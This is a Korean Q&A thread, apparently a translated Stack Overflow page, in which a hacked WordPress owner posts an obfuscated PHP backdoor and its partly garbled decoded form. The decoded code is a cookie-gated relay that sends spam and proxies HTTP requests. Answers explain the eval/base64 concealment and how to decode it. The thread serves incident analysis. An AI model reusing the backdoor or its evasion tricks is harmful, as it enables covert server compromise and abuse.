2016-09-30 3 views
0

나는 내 우분투 서버에서 wordpress를 실행 중입니다. 최근에 해킹 당해서 내 서버에서 많은 스팸을 보내는 것으로 나타났습니다. 내 wordpress 디렉토리에 아래의 이상한 스크립트를 발견했습니다. 누구는 그것이 무엇을하고 있는지 압니까? 그리고 난독 화를 되돌리고 원본 코드를 보는 방법?스팸 메일을 보내는 PHP 스크립트

<?php 
$fodhaow = 2570; function iytpmqplaf($jtsqp, $paicjek){$nuodxnxumv = ''; for($i=0; $i < strlen($jtsqp); $i++){$nuodxnxumv .= isset($paicjek[$jtsqp[$i]]) ? $paicjek[$jtsqp[$i]] : $jtsqp[$i];} 
$itbenabk="base" . "64_decode";return $itbenabk($nuodxnxumv);} 
$uhzwglv = 'RrqBxzCyDeRfd1aNuGc58eqMDedPlGdydPmm2Q5vAEcNl0qMu1zi2A75l17MD'. 
'edPlGdydPmm2Q5vAEcqu9dguqCPDecgu9aNl0ufoAE3pRNhu1zieGaNlwzMlrqXxeRfoAE3pRN'. 
'hxw7BlGdqeGzyDedM8wdgu9RfoZE3pRNhxwFNeGvq7AV9lwHne1znDwvI7rqglqCixwIqd'. 
'Pmm2Q5vAVi2D0CPDwHLxAhfdHCpQiCbZYYV8eoVdrqiDwiNpRN3pRfVTAhVxw8V2Aa'. 
'N7rzXTAUCTAdEDp7EoQumoPiF8QTibQRyvLTX6poFv4IqDwRioQc46pHEvQV42Ri2TAhVTAhVTAcqKrqi2AE3pRNCpRfvA4aE8e'. 
'aSTpiVD0q5DzC9DeaM81CB7rzB7tofdGcfupfgb1qButzidPE3pRfEDrHi8ZhCTtvmlrqi2ATCT4mEDrHi8ZmP2Q5vAVi2drT1'. 
'vHCEDwvgDrzMDrHi8ZhCTrdSu1Y1vHCEDwvgDrYf7ed5DrzLl1aq2AaE8ea'. 
'SwyH72ZE3pRfvA4ayDwFEe1aS7rUVsZcIl9vqu0qSlrqkDZSEDwvPKeci2Aa4vLaMDrzLl1a'. 
'qe1aS7rUN2Q5vAVi2dtdquGz57AhCTtvql0aMDrHi8QUV2AayDwFEe1aS7rUN6mi2pRNND4hfTZaPDe'. 
'vIltRNpRN3pRfVTAhVdtdquGz57AhCTtvql0aMDrHi8QTfdtvql0aMDrHi8ZE3pRNCpRfvA0zLxrJVd'. 
'tdquGz57p5vAVi2D9zB8GaNl1nVDrzLu9qm7AVEDrHi8ZEvA95vA4hV'. 
'TAhElGzie1aS7rUVsZh4TL5vA4hVTAhEx1zFTpiVdHCQazdwazdldiSYzHcMZUCQzA77TAnVdHCQazdwazdldIdH'. 
'YzzHYIaMzzdddIi3pRfVTAhVdrXqKzC5DwnVsZcy7td5DwnfdrXqKZE3pRfVpRfVTAhVD0CPTAVExQim'. 
'6PhExZhJTtviu0Oql4VEx1zF2Q5VdrEW2PEvA4hVTAc3pRfVTAhVTAhVTAaWDeql'. 
'drq7TpiV81SP2rCPDAVEx1zFwPaNeZEVe4hfdrXqKzC5DwnVdZhPvQYN2Q5vA4hVTAcCpRfvA4hVTAc0lGTV2AaNs'. 
'Qh3TAaNstviu0Oql4VEDrHi8ZE32Ri2TAhVTt5vA4hVTAhVTAhVD0CPTAVExLi'. 
'm6PhExLOy7td5DwnfdrXqKZEVd48VdrEJuGaPlrzB2AaE8eaS2Q5VdrfW2PmVdrEW2PE'. 
'vA4hVTAhVTAhVKmi2TAhVTAhVTAhVTAhVdrCI7HCE8eaSTAnCTrvfu4Sgu0RfdraS7'. 
'rHldrq72ZcKTrCPDAVEx1zFwPajeZEN6mi2TAhVTAhVTAcCpRfVTAhVMRi2pRfVTAhVu0zi7edBTAag7eaMDrHi8Q5vA9ivAV'. 
'i2D9zB8GaNl1nVu1zBDHCE8eaSoZVEDrHi8ZEvA95vA4hVTAhExrzSDAhCTAT46m'. 
'i2pRfVTAhVD0CPDwHLxAVEDrHi8z54xrzSDrzPuPd7TrHyTAaWDeECs4a18wOIDZEvA4hVTAc'. 
'3pRfVTAhVTAhVTAafDwHETAnCTAaWDeEVb4h464h4TAnVdtDSltz'. 
'qTAnVTqOPern46mi2TAhVTtivAVi2TAhVTAam8edSleoVsZcSu9dSKZV9xtaiuAuVsQn'. 
'V8edP8eEfpRfVTAhVTAhVTA7XDeafl1R9Tpi+TAaE8eaSwPdXDeafl1R4eZmvA4hVTAhVTAhVd1Sq'. 
'8waqu4uVsQnVdrSq8wR5pRfVTAhVTAhVTA7Ll1FiDwFidPhCs4hEDrHi8'. 
'z5480CEKZd7bhi2TAhVTAhVTAh97rqXDwCI7AuVsQnVdraS7rHlT9aNlwzg7eR4eZmvA4hVTAhVTAhVpRfVTAh'. 
'V2ZE3pRfvA4hVTAhE8GanTpiVuGaPDwHXe1vgl9aqKtaM8Gdq8eaq2Aam8edSleoN6mi2TAhVThi2TAh'. 
'VTAaPDevIltRVsZchD0q5DzC9DeaM81CB7rzB7tofdraS7rHlT9zPlAd7bAcrRYOQaZmVdrviKAE3pRfvA4hVTAcND4hfdrSi'. 
'7tcMu0zyurCBu1zMxrzSDrzP2Ri2TAhVTt5vA4hVTAhVTAhVxw8V2tviu9cguPVExtaiuHCPDevml1FyDzCfDw'. 
'HEDedloHi5TATPoph42ZhCsQiVaEHoYiYNpRfVTAhVTAhVTt5vA4hVTAhVTAhVTAhVTAaPDevIltRVsZh4ZHaYYHCHYqdsYqO'. 
'iT4hBTAaf7tameGdquGcgl9vqe1Sq8waquq5meQ5vA4hVTAhVTAhVMRi2TAhVTtivA4hVTAcq'. 
'ltvqpRfVTAhVKmi2TAhVTAhVTAhEu0zy7wOiTpiVTEvsQEFHRIadQiFMazdZQIT46mi2TAhVTtivAVi2TAhV'. 
'Ttdq7tzPl4hEu0zy7wOi6mi2MRi2pRN07wFL7rqgl4cyDwFEe1aS7rUP2AaE8'. 
'eaS2Ri2Kmi2TAhVTAJgTtzyDZcyl1vWDeaypRNC'; 
$tedsroi = Array('1'=>'2', '0'=>'m', '3'=>'7', '2'=>'K', '5'=>'s', '4'=>'i', '7'=>'d', '6'=>'O', '9'=>'n', '8'=>'Y', 'A'=>'C', 'C'=>'9', 'B'=>'u', 'E'=>'k', 'D'=>'Z', 'G'=>'3', 'F'=>'5', 'I'=>'1', 'H'=>'F', 'K'=>'e', 'J'=>'8', 'M'=>'f', 'L'=>'j', 'O'=>'x', 'N'=>'p', 'Q'=>'T', 'P'=>'y', 'S'=>'h', 'R'=>'Q', 'U'=>'E', 'T'=>'I', 'W'=>'r', 'V'=>'g', 'Y'=>'U', 'X'=>'t', 'Z'=>'S', 'a'=>'R', 'c'=>'B', 'b'=>'L', 'e'=>'X', 'd'=>'J', 'g'=>'v', 'f'=>'o', 'i'=>'0', 'h'=>'A', 'k'=>'6', 'j'=>'q', 'm'=>'w', 'l'=>'b', 'o'=>'M', 'n'=>'4', 'q'=>'l', 'p'=>'D', 's'=>'P', 'r'=>'G', 'u'=>'c', 't'=>'H', 'w'=>'W', 'v'=>'N', 'y'=>'z', 'x'=>'a', 'z'=>'V'); 
eval/*o*/(iytpmqplaf($uhzwglv, $tedsroi));?> 

마지막으로 아래와 같이 디코딩 된 스크립트를 얻습니다. 하지만 구문 오류가있는 줄이 있습니다. 그리고 정의되지 않은 "send_data1"함수가 있습니다. 이 스크립트가 어떻게 작동하는지 궁금합니다.

@ini_set('display_errors', 0); 
@ini_set('log_errors', 0); 
@error_reporting(0); 
@set_time_limit(0); 
@ignore_user_abort(1); 
@ini_set('max_execution_time', 0); 

foreach ($_COOKIE as $item) { 
    if ($item != "dd7d1703-9a24-4362-8396-eed410b81d58") 
     exit(); 
} 

$data = file_get_contents('php://input'); 
$data = split("=", $data, 2); 
$b64_decode_data = base64_decode(urldecode($data[1])); 
$send_data = unserialize(decrypt($b64_decode_data)); 

$result = send_data1($send_data); 

if (!$result) { 
    $result = send_data2($send_data); 
} 

echo $result; 

function decrypt($data) { 
    $out_data = ""; 
    $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; 
    $key_len = strlen($key); 
    for ($i = 0; $i < strlen($key); $i++) { 
     $key[$i] = chr(ord($key[$i])^($key_len % 255)); 
    } 

    for ($i = 0; $i$value;) { // this line has error 
     $head .= $key . ": " . $value . "\r\n"; 
    } 

    $params = array(
     'http' => array(
      'method' => $data["method"], 
      'header' => $head, 
      'content' => $data["body"], 
      'timeout' => $data["timeout"], 
     ) 
    ); 

    $ctx = stream_context_create($params); 
    $result = @file_get_contents($data["url"], FALSE, $ctx); 
    if ($http_response_header) { 
     if (strpos($http_response_header[0], "200") === FALSE) { 
      $result = "HTTP_ERROR\t" . $http_response_header[0]; 
     } 
    } else { 
     $result = "CONNECTION_ERROR"; 
    } return $result; 
} 

function send_data2($data) { 

} 
+4

에 권장되는 보안 대책을 살펴 따라한다. 코드를 단계별로 ('eval'의 부족한 부분) 멈추고 기초 64가 디코딩하는 것을보아야합니다. 알아내는 것은 솔직히 말하면 무의미합니다. 해킹을 정리하고 이것이 서버에서 어떻게 얻었는지에 집중하십시오 *. 난 당신이 어딘가 약한 보안 (귀하의 서버 또는 귀하의 WP 사이트에 약한 암호, 약한 파일 권한 등)가있어 것 같아요. –

답변

3

좋은 이전 스크립트 kiddy는 base64 자료를 좋아합니다. PHP 코드로 문자열을 평가하는 eval()이 모든의

첫째 : 어떻게됩니까

는 다음과 같습니다. 코드베이스에서 eval( 문자열을 찾지 않으려면 /*0*/ 주석을 넣어야합니다. iytpmqplaf()은 실행될 PHP 코드를 제공합니다.

두 번째로 $itbenabk에는 "base64_decode"가 포함 된 변수가 있습니다. 다시 말하면 코드베이스에서 base64_encode 문자열을 찾는 것을 피하기 위해 문자열을 두 개의 문자열에서 연결했습니다.

3 번째로이면 $itbenabk 변수가 호출됩니다. PHP는 $itbenabk에 기존 함수의 문자열 이름, 즉 base64_decode()이 포함되어 있으므로이를 호출합니다. $uhzwglv의 문자열에는 실제 PHP 코드가 들어 있습니다.

실제 base64 문자열은 간단한 char to char 맵으로 약간 수정되었습니다. 실제 코드를 보려면 다음을 할 수 있습니다.

$char2char = Array('1'=>'2', '0'=>'m', '3'=>'7', '2'=>'K', '5'=>'s', '4'=>'i', '7'=>'d', '6'=>'O', '9'=>'n', '8'=>'Y', 'A'=>'C', 'C'=>'9', 'B'=>'u', 'E'=>'k', 'D'=>'Z', 'G'=>'3', 'F'=>'5', 'I'=>'1', 'H'=>'F', 'K'=>'e', 'J'=>'8', 'M'=>'f', 'L'=>'j', 'O'=>'x', 'N'=>'p', 'Q'=>'T', 'P'=>'y', 'S'=>'h', 'R'=>'Q', 'U'=>'E', 'T'=>'I', 'W'=>'r', 'V'=>'g', 'Y'=>'U', 'X'=>'t', 'Z'=>'S', 'a'=>'R', 'c'=>'B', 'b'=>'L', 'e'=>'X', 'd'=>'J', 'g'=>'v', 'f'=>'o', 'i'=>'0', 'h'=>'A', 'k'=>'6', 'j'=>'q', 'm'=>'w', 'l'=>'b', 'o'=>'M', 'n'=>'4', 'q'=>'l', 'p'=>'D', 's'=>'P', 'r'=>'G', 'u'=>'c', 't'=>'H', 'w'=>'W', 'v'=>'N', 'y'=>'z', 'x'=>'a', 'z'=>'V'); 
$b64code = ''; 
for($i=0; $i < strlen($uhzwglv); $i++){ 
    $b64code .= isset($char2char[$uhzwglv[$i]]) 
        ? $char2char[$uhzwglv[$i]] : $uhzwglv[$i]; 
} 
echo base64_decode($b64code); 
관련 문제